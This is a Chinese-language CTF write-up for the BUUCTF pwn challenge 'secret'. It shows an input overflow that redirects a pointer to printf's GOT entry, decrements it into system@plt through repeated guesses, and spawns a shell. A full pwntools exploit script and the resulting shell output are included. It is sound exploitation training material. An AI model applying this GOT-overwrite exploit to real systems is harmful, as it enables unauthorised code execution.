checksec
matrix@ubuntu:~/PWN/BUU$ checksec secret
[*] '/home/matrix/PWN/BUU/secret'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
只关闭了 PIE
IDA–关键函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_46A3AF();
if ( (unsigned int)sub_40136D() ) //将输入与内部数据进行对比
sub_401301(); //printf(&s)
system("cat /flag");
return 0LL;
}
unsigned __int64 sub_46A3AF()
{
unsigned int i; // [rsp+Ch] [rbp-54h]
char s; // [rsp+10h] [rbp-50h]
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
*(_DWORD *)data_1 = 10000; //对比次数1000 然而对比次数是代码内定的与这个数没有半毛钱关系
for ( i = 0; i <= 9; ++i )
data_buf[i] = 0; // data_buf 0x10bytes
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("@====================================@");
print_menu("# What's your name? ________________ #", 20);
data_buf[(signed int)((unsigned __int64)read(0, data_buf, 0x16uLL) - 1)] = 0;// 将结尾\n 换为截断符 '\x00' 可覆盖 data
sprintf(&s, "# Welcome %-16s #", data_buf);
puts(&s);
puts("#====================================#");
puts("# I have toooooo many secrets > #");
puts("# Can u find them _< #");
puts("#====================================#");
return __readfsqword(0x28u) ^ v3;
}
题目大概意思就是让我们猜数字1000次 ,但是这些数字在IDA汇编码中都可以找到。
如果成功比对完成1000此sub_40136D()就会mov eax,0 使得if 中的判断为false(test eax, eax jnz short loc_46A51D),实在没有办法~
只有看看大佬wp
关键点
由于printf_plt和system_plt相邻:
pwndbg> plt
0x401030: puts@plt
0x401040: write@plt
0x401050: strlen@plt
0x401060: __stack_chk_fail@plt
0x401070: system@plt <========
0x401080: printf@plt <========
相差 0x10
且printf函数只有在if 判断成立(猜错数字)进入sub_401301()函数才会触发,所以在我们进入sub_401301()函数前printf_plt:
pwndbg> x/8i 0x401080
0x401080 <printf@plt>: jmp QWORD PTR [rip+0x6bfba] # 0x46d040 jmp [printf_got]
0x401086 <printf@plt+6>: push 0x5 <=======[printf_got]
0x40108b <printf@plt+11>: jmp 0x401020
printf_got中放的是printf@plt+6>地址
所以我们要是能把printf_got中放的地址改为system_plt即可,那就相当于在call printf_plt 时会跳到 system_plt 而这时两者 的参数都是同一个(name)所以就可以拿到shell了
data_1
*(_DWORD *)data_1 = 10000; data_1本来是一个void*类型 的指针 ,进行强制转换后赋值1000
.data:000000000046D080 data_buf db 'Y0ur_N@me',0 ; DATA XREF: sub_401301+39↑o
.data:000000000046D080 ; sub_46A3AF+32↑o ...
.data:000000000046D08A align 10h
.data:000000000046D090 data_1 dq offset unk_46D0C0 ; DATA XREF: menu2+23↑r
.data:000000000046D090 ; get_serect_num+5A↑r ...
.data:000000000046D090 _data ends ; data_1 == 1000
.data:000000000046D090
注意:别认为 1000就放在0x00000000046D090 上,这里放的是data_1指针 data_1通过gdb调试(或dq offset unk_46D0C0为偏移)可知道他指向一个高地址,所以这个1000就放在高地址。
因为我们read into buf时可以读入0x16个字节所以可以覆盖data_1的数据
pwndbg> x/8bx 0x000000000046D090
0x46d090: 0xc0 0xd0 0x46 0x00 0x00 0x00 0x00 0x00
然后每次猜数时data_1所指向的 数据(1000)就会减一
unsigned __int64 get_serect_num()
{
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
print_menu("# Secret: _____ #", 20);
read(0, &buf, 0xAuLL);
bss_secret_num = atoi(&buf);
--*(_DWORD *)data_1; <========
return __readfsqword(0x28u) ^ v2;
}
思路
- 通过buf溢出覆盖将data_1覆盖位printf_got地址 这时printf_got 还是指向 printf_plt的第二个指令地址(即printf_plt+6)
- 进行猜数16次 最后一次故意猜错,那么printf_got所保存的printf_plt+6就会-16===> system_plt
- 所以会进入if语句中执行printf函数 ,仅一个参数为name,跳转后等于执行了system(&name)
EXP
from pwn import*
context.log_level = 'debug'
sh = process('./secret')
elf = ELF('secret')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
print "plt====>"+str(hex(printf_plt))
print "got====>"+str(hex(printf_got))
#sh = remote('node3.buuoj.cn',28920)
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got) #data_1所占的真实空间也就3字节
sh.sendline(payload)
num =[0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
for x in num:
#gdb.attach(sh)
sh.sendlineafter('Secret:',str(x))
sh.sendline('1')
sh.interactive()
结果:
#====================================#
# Secret: #====================================#
# GAME OVER #
#====================================#
# BYE BYE~ $ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'matrix\n'
matrix
$
MASS
- plt ,got 也是要多考虑的地方了
- read(0,&buf,n) 可以读入\n \x00 返回值 一般为 字符串个数+1(\n) 除非字符串个数为n
- 参考:https://www.yuque.com/u239977/cbzkn3/wml031